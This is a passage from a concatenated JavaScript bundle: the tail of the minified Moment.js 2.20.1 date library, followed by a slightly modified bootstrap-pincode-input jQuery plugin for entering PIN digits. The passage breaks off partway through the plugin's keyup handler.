0===(e=O(e))||"millisecond"===e?this:("date"===e&&(e="day"),this.startOf(e).add(1,"isoWeek"===e?"week":e).subtract(1,"ms"))},Dn.format=function(t){t||(t=this.isUtc()?e.defaultFormatUtc:e.defaultFormat);var n=H(this,t);return this.localeData().postformat(n)},Dn.from=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.fromNow=function(e){return this.from(pe(),e)},Dn.to=function(e,t){return this.isValid()&&(_(e)&&e.isValid()||pe(e).isValid())?xe({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Dn.toNow=function(e){return this.to(pe(),e)},Dn.get=function(e){return e=O(e),S(this[e])?this[e]():this},Dn.invalidAt=function(){return d(this).overflow},Dn.isAfter=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())},Dn.isBefore=function(e,t){var n=_(e)?e:pe(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=O(s(t)?"millisecond":t))?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())},Dn.isBetween=function(e,t,n,s){return("("===(s=s||"()")[0]?this.isAfter(e,n):!this.isBefore(e,n))&&(")"===s[1]?this.isBefore(t,n):!this.isAfter(t,n))},Dn.isSame=function(e,t){var n,s=_(e)?e:pe(e);return!(!this.isValid()||!s.isValid())&&("millisecond"===(t=O(t||"millisecond"))?this.valueOf()===s.valueOf():(n=s.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))},Dn.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Dn.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Dn.isValid=function(){return h(this)},Dn.lang=gn,Dn.locale=Ce,Dn.localeData=Fe,Dn.max=dn,Dn.min=ln,Dn.parsingFlags=function(){return u({},d(this))},Dn.set=function(e,t){if("object"==typeof e)for(var n=function(e){var t=[];for(var n in e)t.push({unit:n,priority:it[n]});return t.sort(function(e,t){return e.priority-t.priority}),t}(e=T(e)),s=0;s<n.length;s++)this[n[s].unit](e[n[s].unit]);else if(e=O(e),S(this[e]))return this[e](t);return this},Dn.startOf=function(e){switch(e=O(e)){case"year":this.month(0);case"quarter":case"month":this.date(1);case"week":case"isoWeek":case"day":case"date":this.hours(0);case"hour":this.minutes(0);case"minute":this.seconds(0);case"second":this.milliseconds(0)}return"week"===e&&this.weekday(0),"isoWeek"===e&&this.isoWeekday(1),"quarter"===e&&this.month(3*Math.floor(this.month()/3)),this},Dn.subtract=yn,Dn.toArray=function(){return[this.year(),this.month(),this.date(),this.hour(),this.minute(),this.second(),this.millisecond()]},Dn.toObject=function(){return{years:this.year(),months:this.month(),date:this.date(),hours:this.hours(),minutes:this.minutes(),seconds:this.seconds(),milliseconds:this.milliseconds()}},Dn.toDate=function(){return new Date(this.valueOf())},Dn.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,n=t?this.clone().utc():this;return n.year()<0||n.year()>9999?H(n,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):S(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this._d.valueOf()).toISOString().replace("Z",H(n,"Z")):H(n,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Dn.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e="moment",t="";this.isLocal()||(e=0===this.utcOffset()?"moment.utc":"moment.parseZone",t="Z");var n="["+e+'("]',s=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=t+'[")]';return this.format(n+s+"-MM-DD[T]HH:mm:ss.SSS"+i)},Dn.toJSON=function(){return this.isValid()?this.toISOString():null},Dn.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Dn.unix=function(){return Math.floor(this.valueOf()/1e3)},Dn.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Dn.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Dn.year=Lt,Dn.isLeapYear=function(){return E(this.year())},Dn.weekYear=function(e){return Le.call(this,e,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)},Dn.isoWeekYear=function(e){return Le.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Dn.quarter=Dn.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Dn.month=$,Dn.daysInMonth=function(){return Z(this.year(),this.month())},Dn.week=Dn.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Dn.isoWeek=Dn.isoWeeks=function(e){var t=X(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Dn.weeksInYear=function(){var e=this.localeData()._week;return K(this.year(),e.dow,e.doy)},Dn.isoWeeksInYear=function(){return K(this.year(),1,4)},Dn.date=pn,Dn.day=Dn.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Dn.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Dn.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Dn.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Dn.hour=Dn.hours=Bt,Dn.minute=Dn.minutes=wn,Dn.second=Dn.seconds=vn,Dn.millisecond=Dn.milliseconds=Sn,Dn.utcOffset=function(t,n,s){var i,r=this._offset||0;if(!this.isValid())return null!=t?this:NaN;if(null!=t){if("string"==typeof t){if(null===(t=ke(Dt,t)))return this}else Math.abs(t)<16&&!s&&(t*=60);return!this._isUTC&&n&&(i=Oe(this)),this._offset=t,this._isUTC=!0,null!=i&&this.add(i,"m"),r!==t&&(!n||this._changeInProgress?He(this,xe(t-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,e.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:Oe(this)},Dn.utc=function(e){return this.utcOffset(0,e)},Dn.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Oe(this),"m")),this},Dn.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=ke(St,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Dn.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?pe(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Dn.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Dn.isLocal=function(){return!!this.isValid()&&!this._isUTC},Dn.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Dn.isUtc=Te,Dn.isUTC=Te,Dn.zoneAbbr=function(){return this._isUTC?"UTC":""},Dn.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Dn.dates=v("dates accessor is deprecated. Use date instead.",pn),Dn.months=v("months accessor is deprecated. Use month instead",$),Dn.years=v("years accessor is deprecated. Use year instead",Lt),Dn.zone=v("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}),Dn.isDSTShifted=v("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var e={};if(f(e,this),(e=ye(e))._a){var t=e._isUTC?l(e._a):pe(e._a);this._isDSTShifted=this.isValid()&&p(e._a,t.toArray())>0}else this._isDSTShifted=!1;return this._isDSTShifted});var kn=k.prototype;kn.calendar=function(e,t,n){var s=this._calendar[e]||this._calendar.sameElse;return S(s)?s.call(t,n):s},kn.longDateFormat=function(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.replace(/MMMM|MM|DD|dddd/g,function(e){return e.slice(1)}),this._longDateFormat[e])},kn.invalidDate=function(){return this._invalidDate},kn.ordinal=function(e){return this._ordinal.replace("%d",e)},kn.preparse=Ge,kn.postformat=Ge,kn.relativeTime=function(e,t,n,s){var i=this._relativeTime[n];return S(i)?i(e,t,n,s):i.replace(/%d/i,e)},kn.pastFuture=function(e,t){var n=this._relativeTime[e>0?"future":"past"];return S(n)?n(t):n.replace(/%s/i,t)},kn.set=function(e){var t,n;for(n in e)S(t=e[n])?this[n]=t:this["_"+n]=t;this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},kn.months=function(e,n){return e?t(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||Nt).test(n)?"format":"standalone"][e.month()]:t(this._months)?this._months:this._months.standalone},kn.monthsShort=function(e,n){return e?t(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[Nt.test(n)?"format":"standalone"][e.month()]:t(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},kn.monthsParse=function(e,t,n){var s,i,r;if(this._monthsParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],s=0;s<12;++s)r=l([2e3,s]),this._shortMonthsParse[s]=this.monthsShort(r,"").toLocaleLowerCase(),this._longMonthsParse[s]=this.months(r,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:"MMM"===t?-1!==(i=Ut.call(this._shortMonthsParse,a))?i:-1!==(i=Ut.call(this._longMonthsParse,a))?i:null:-1!==(i=Ut.call(this._longMonthsParse,a))?i:-1!==(i=Ut.call(this._shortMonthsParse,a))?i:null}.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),s=0;s<12;s++){if(i=l([2e3,s]),n&&!this._longMonthsParse[s]&&(this._longMonthsParse[s]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[s]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[s]||(r="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[s]=new RegExp(r.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[s].test(e))return s;if(n&&"MMM"===t&&this._shortMonthsParse[s].test(e))return s;if(!n&&this._monthsParse[s].test(e))return s}},kn.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=It),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},kn.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||q.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=Et),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},kn.week=function(e){return X(e,this._week.dow,this._week.doy).week},kn.firstDayOfYear=function(){return this._week.doy},kn.firstDayOfWeek=function(){return this._week.dow},kn.weekdays=function(e,n){return e?t(this._weekdays)?this._weekdays[e.day()]:this._weekdays[this._weekdays.isFormat.test(n)?"format":"standalone"][e.day()]:t(this._weekdays)?this._weekdays:this._weekdays.standalone},kn.weekdaysMin=function(e){return e?this._weekdaysMin[e.day()]:this._weekdaysMin},kn.weekdaysShort=function(e){return e?this._weekdaysShort[e.day()]:this._weekdaysShort},kn.weekdaysParse=function(e,t,n){var s,i,r;if(this._weekdaysParseExact)return function(e,t,n){var s,i,r,a=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],s=0;s<7;++s)r=l([2e3,1]).day(s),this._minWeekdaysParse[s]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[s]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[s]=this.weekdays(r,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"dddd"===t?-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:"ddd"===t?-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:null:-1!==(i=Ut.call(this._minWeekdaysParse,a))?i:-1!==(i=Ut.call(this._weekdaysParse,a))?i:-1!==(i=Ut.call(this._shortWeekdaysParse,a))?i:null}.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),s=0;s<7;s++){if(i=l([2e3,1]).day(s),n&&!this._fullWeekdaysParse[s]&&(this._fullWeekdaysParse[s]=new RegExp("^"+this.weekdays(i,"").replace(".",".?")+"$","i"),this._shortWeekdaysParse[s]=new RegExp("^"+this.weekdaysShort(i,"").replace(".",".?")+"$","i"),this._minWeekdaysParse[s]=new RegExp("^"+this.weekdaysMin(i,"").replace(".",".?")+"$","i")),this._weekdaysParse[s]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[s]=new RegExp(r.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[s].test(e))return s;if(n&&"ddd"===t&&this._shortWeekdaysParse[s].test(e))return s;if(n&&"dd"===t&&this._minWeekdaysParse[s].test(e))return s;if(!n&&this._weekdaysParse[s].test(e))return s}},kn.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=zt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},kn.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=$t),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},kn.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||ee.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=qt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},kn.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},kn.meridiem=function(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"},ae("en",{dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===g(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),e.lang=v("moment.lang is deprecated. Use moment.locale instead.",ae),e.langData=v("moment.langData is deprecated. Use moment.localeData instead.",ue);var Yn=Math.abs,On=$e("ms"),Tn=$e("s"),xn=$e("m"),bn=$e("h"),Pn=$e("d"),Wn=$e("w"),Hn=$e("M"),Rn=$e("y"),Cn=qe("milliseconds"),Fn=qe("seconds"),Un=qe("minutes"),Ln=qe("hours"),Nn=qe("days"),Gn=qe("months"),Vn=qe("years"),En=Math.round,In={ss:44,s:45,m:45,h:22,d:26,M:11},An=Math.abs,jn=ve.prototype;return jn.isValid=function(){return this._isValid},jn.abs=function(){var e=this._data;return this._milliseconds=Yn(this._milliseconds),this._days=Yn(this._days),this._months=Yn(this._months),e.milliseconds=Yn(e.milliseconds),e.seconds=Yn(e.seconds),e.minutes=Yn(e.minutes),e.hours=Yn(e.hours),e.months=Yn(e.months),e.years=Yn(e.years),this},jn.add=function(e,t){return Ae(this,e,t,1)},jn.subtract=function(e,t){return Ae(this,e,t,-1)},jn.as=function(e){if(!this.isValid())return NaN;var t,n,s=this._milliseconds;if("month"===(e=O(e))||"year"===e)return t=this._days+s/864e5,n=this._months+Ze(t),"month"===e?n:n/12;switch(t=this._days+Math.round(ze(this._months)),e){case"week":return t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},jn.asMilliseconds=On,jn.asSeconds=Tn,jn.asMinutes=xn,jn.asHours=bn,jn.asDays=Pn,jn.asWeeks=Wn,jn.asMonths=Hn,jn.asYears=Rn,jn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},jn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*je(ze(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=y(r/1e3),u.seconds=e%60,t=y(e/60),u.minutes=t%60,n=y(t/60),u.hours=n%24,a+=y(n/24),i=y(Ze(a)),o+=i,a-=je(ze(i)),s=y(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},jn.clone=function(){return xe(this)},jn.get=function(e){return e=O(e),this.isValid()?this[e+"s"]():NaN},jn.milliseconds=Cn,jn.seconds=Fn,jn.minutes=Un,jn.hours=Ln,jn.days=Nn,jn.weeks=function(){return y(this.days()/7)},jn.months=Gn,jn.years=Vn,jn.humanize=function(e){if(!this.isValid())return this.localeData().invalidDate();var t=this.localeData(),n=function(e,t,n){var s=xe(e).abs(),i=En(s.as("s")),r=En(s.as("m")),a=En(s.as("h")),o=En(s.as("d")),u=En(s.as("M")),l=En(s.as("y")),d=i<=In.ss&&["s",i]||i<In.s&&["ss",i]||r<=1&&["m"]||r<In.m&&["mm",r]||a<=1&&["h"]||a<In.h&&["hh",a]||o<=1&&["d"]||o<In.d&&["dd",o]||u<=1&&["M"]||u<In.M&&["MM",u]||l<=1&&["y"]||["yy",l];return d[2]=t,d[3]=+e>0,d[4]=n,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,d)}(this,!e,t);return e&&(n=t.pastFuture(+this,n)),t.postformat(n)},jn.toISOString=Be,jn.toString=Be,jn.toJSON=Be,jn.locale=Ce,jn.localeData=Fe,jn.toIsoString=v("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Be),jn.lang=gn,P("X",0,0,"unix"),P("x",0,0,"valueOf"),C("x",Mt),C("X",/[+-]?\d+(\.\d{1,3})?/),L("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e,10))}),L("x",function(e,t,n){n._d=new Date(g(e))}),e.version="2.20.1",function(e){Qe=e}(pe),e.fn=Dn,e.min=function(){return we("isBefore",[].slice.call(arguments,0))},e.max=function(){return we("isAfter",[].slice.call(arguments,0))},e.now=function(){return Date.now?Date.now():+new Date},e.utc=l,e.unix=function(e){return pe(1e3*e)},e.months=function(e,t){return Ee(e,t,"months")},e.isDate=r,e.locale=ae,e.invalid=c,e.duration=xe,e.isMoment=_,e.weekdays=function(e,t,n){return Ie(e,t,n,"weekdays")},e.parseZone=function(){return pe.apply(null,arguments).parseZone()},e.localeData=ue,e.isDuration=Me,e.monthsShort=function(e,t){return Ee(e,t,"monthsShort")},e.weekdaysMin=function(e,t,n){return Ie(e,t,n,"weekdaysMin")},e.defineLocale=oe,e.updateLocale=function(e,t){if(null!=t){var n,s,i=Qt;null!=(s=re(e))&&(i=s._config),(n=new k(t=D(i,t))).parentLocale=Xt[e],Xt[e]=n,ae(e)}else null!=Xt[e]&&(null!=Xt[e].parentLocale?Xt[e]=Xt[e].parentLocale:null!=Xt[e]&&delete Xt[e]);return Xt[e]},e.locales=function(){return nt(Xt)},e.weekdaysShort=function(e,t,n){return Ie(e,t,n,"weekdaysShort")},e.normalizeUnits=O,e.relativeTimeRounding=function(e){return void 0===e?En:"function"==typeof e&&(En=e,!0)},e.relativeTimeThreshold=function(e,t){return void 0!==In[e]&&(void 0===t?In[e]:(In[e]=t,"s"===e&&(In.ss=t-1),!0))},e.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},e.prototype=Dn,e.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"YYYY-[W]WW",MONTH:"YYYY-MM"},e}); /* ========================================================= * bootstrap-pincode-input.js * * ========================================================= * Created by Ferry Kranenburg * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ========================================================= */ ;(function ( $, window, document, undefined ) { "use strict"; // Create the defaults once var pluginName = "pincodeInput"; var defaults = { placeholders:undefined, // seperate with a " "(space) to set an placeholder for each input box inputs:4, // 4 input boxes = code of 4 digits long hidedigits:true, // hide digits keydown : function(e){}, change: function(input,value,inputnumber){ // callback on every input on change (keyup event) //input = the input textbox DOM element //value = the value entered by user (or removed) //inputnumber = the position of the input box (in touch mode we only have 1 big input box, so always 1 is returned here) }, blur: function(value, e, errorElement){ //value = the entered code //e = last keyup event //errorElement = error span next to to this, fill with html e.g. : $(errorElement).html("Code not correct"); }, complete : function(value, e, errorElement){ // callback when all inputs are filled in (keyup event) //value = the entered code //e = last keyup event //errorElement = error span next to this, fill with html e.g. : $(errorElement).html("Code not correct"); } }; // The actual plugin constructor function Plugin ( element, options ) { this.element = element; this.settings = $.extend( {}, defaults, options ); this._defaults = defaults; this._name = pluginName; this.init(); } // Avoid Plugin.prototype conflicts $.extend(Plugin.prototype, { init: function () { this.buildInputBoxes(); }, updateOriginalInput:function(){ var newValue = ""; $('.pincode-input-text',this._container).each(function( index, value ) { newValue += $(value).val().toString(); }); $(this.element).val(newValue); }, check: function(){ var isComplete = true; var code = ""; $('.pincode-input-text',this._container).each(function( index, value ) { code += $(value).val().toString(); if(!$(value).val()){ isComplete = false; } }); if(this._isTouchDevice()){ // check if single input has it all if(code.length == this.settings.inputs){ return true; } }else{ return isComplete; } }, buildInputBoxes: function () { this._container = $('<div />').addClass('pincode-input-container'); var currentValue = []; var placeholders = []; var touchplaceholders = ""; //in touch mode we have just 1 big input box, and there is only 1 placeholder in this case if(this.settings.placeholders){ placeholders = this.settings.placeholders.split(" "); touchplaceholders = this.settings.placeholders.replace(/ /g,""); } // If we do not hide digits, we need to include the current value of the input box // This will only work if the current value is not longer than the number of input boxes. if( this.settings.hidedigits == false && $(this.element).val() !=""){ currentValue = $(this.element).val().split(""); } // make sure this is the first password field here if(this.settings.hidedigits){ this._pwcontainer = $('<div />').css("display", "none").appendTo(this._container); this._pwfield = $('<input>').attr({'type':'password','pattern': "[0-9]*", 'inputmode':"numeric",'id':'preventautofill','autocomplete':'off'}).appendTo(this._pwcontainer); } if(this._isTouchDevice()){ // set main class $(this._container).addClass("touch"); // For touch devices we build a html table directly under the pincode textbox. The textbox will become transparent // This table is used for styling only, it will display how many 'digits' the user should fill in. // With CSS letter-spacing we try to put every digit visually insize each table cell. var wrapper = $('<div />').addClass('touchwrapper touch'+this.settings.inputs).appendTo(this._container); var input = $('<input>').attr({'id':'pincode-input','type':'number','pattern': "[0-9]*", 'placeholder':touchplaceholders, 'inputmode':"numeric",'maxlength':this.settings.inputs,'autocomplete':'off', 'data-pin':'data-pin'}).addClass('form-control pincode-input-text conceal').appendTo(wrapper); var touchtable = $('<table>').addClass('touchtable').appendTo(wrapper); var row = $('<tr/>').appendTo(touchtable); // create touch background elements (for showing user how many digits must be entered) for (var i = 0; i < this.settings.inputs; i++) { if(i == (this.settings.inputs-1)){ $('<td/>').addClass('last').appendTo(row); }else{ $('<td/>').appendTo(row); } } if(this.settings.hidedigits){ // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } // add events this._addEventsToInput(input,1); }else{ // for desktop mode we build one input for each digit for (var i = 0; i < this.settings.inputs; i++) { var input = $('<input>').attr({'id':'pincode-input','type':'text','maxlength':"1",'autocomplete':'off','placeholder':(placeholders[i] ? placeholders[i] : undefined)}).addClass('form-control pincode-input-text conceal').appendTo(this._container); if(this.settings.hidedigits) { // hide digits input.attr('type','tel'); }else{ // show digits, also include default value input.val(currentValue[i]); } if(i==0){ input.addClass('first'); }else if(i==(this.settings.inputs-1)){ input.addClass('last'); }else{ input.addClass('mid'); } // add events this._addEventsToInput(input,(i+1)); } } // error box this._error = $('<div />').addClass('text-danger pincode-input-error').appendTo(this._container); //hide original element and place this before it $(this.element).css( "display", "none" ); this._container.insertBefore(this.element); }, enable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', false); }); }, disable:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).prop('disabled', true); }); }, focus:function(){ $('.pincode-input-text',this._container).first().select().focus(); }, clear:function(){ $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(""); }); this.updateOriginalInput(); }, _isTouchDevice:function(){ // I know, sniffing is a really bad idea, but it works 99% of the times if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { return true; } }, _addEventsToInput:function(input,inputnumber){ input.on('click', function (e) { var that = this; setTimeout(function(){ that.selectionStart = that.selectionEnd = 10000; }, 0); }); //input.on('focus',function(e){ // //this.select(); //automatically select current value //}); input.on('cut copy paste',function(e){ e.preventDefault(); e.stopPropagation(); }); input.on('blur', $.proxy(function(e){ this.settings.blur($(this.e).val(), e, this._error); //Validate if the pin is empty or less than 4 digits. if (formHelper.isEmpty($(this.element).val())) { formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; } else if($(this.element).val().length < this.settings.inputs){ formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers'); return false; }else { formHelper.clearError($(e.currentTarget)); return true; } },this)); input.on('keydown', $.proxy(function(e){ if(this._pwfield){ // Because we need to prevent password saving by browser // remove the value here and change the type! // we do this every time the user types $(this._pwfield).attr({'type':'text'}); $(this._pwfield).val(""); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ //console.log("$(this.element).val().length" + $(this.element).val().length); //console.log("this.settings.inputs" + this.settings.inputs); if($(this.element).val().length == this.settings.inputs){ e.preventDefault(); e.stopPropagation(); } } }else{ // in desktop mode, check if an number was entered if( !(e.keyCode == 8 // backspace key || e.keyCode == 9 // tab key || e.keyCode == 46 // delete key || (e.keyCode >= 48 && e.keyCode <= 57) // numbers on keyboard || (e.keyCode >= 96 && e.keyCode <= 105)) // number on keypad ) { e.preventDefault(); // Prevent character input e.stopPropagation(); } } this.settings.keydown(e); },this)); // input.on('blur', $.proxy(function(e) { // if(!this._isTouchDevice()) { // if (e != null && $(e).val()) { // console.log("not null" + $(e).val()); // $("#tstspan").text($(e).val()); // pinCreation.validate($(this)); // } // } // }; input.on('keyup', $.proxy(function(e){ // after every keystroke we check if all inputs have a value, if yes we call complete callback if(!this._isTouchDevice()){ // on backspace or delete go to previous input box if(e.keyCode == 8 || e.keyCode == 46){ // goto previous $(e.currentTarget).prev().select(); $(e.currentTarget).prev().focus(); }else{ if($(e.currentTarget).val()!=""){ $(e.currentTarget).next().select(); $(e.currentTarget).next().focus(); } } } // update original input box this.updateOriginalInput(); // oncomplete check if(this.check()){ this.settings.complete($(this.element).val(), e, this._error); } //onchange event for each input if(this.settings.change){ this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber); } // prevent more input for touch device (we can't limit it) if(this._isTouchDevice()){ if(e.keyCode == 8 || e.keyCode == 46){ // do nothing on backspace and delete }else{ if($(this.element).val().length == this.settings.inputs){ $(e.currentTarget).blur(); //$(e.currentTarget).focus(); } } if($(this.element).val().length > 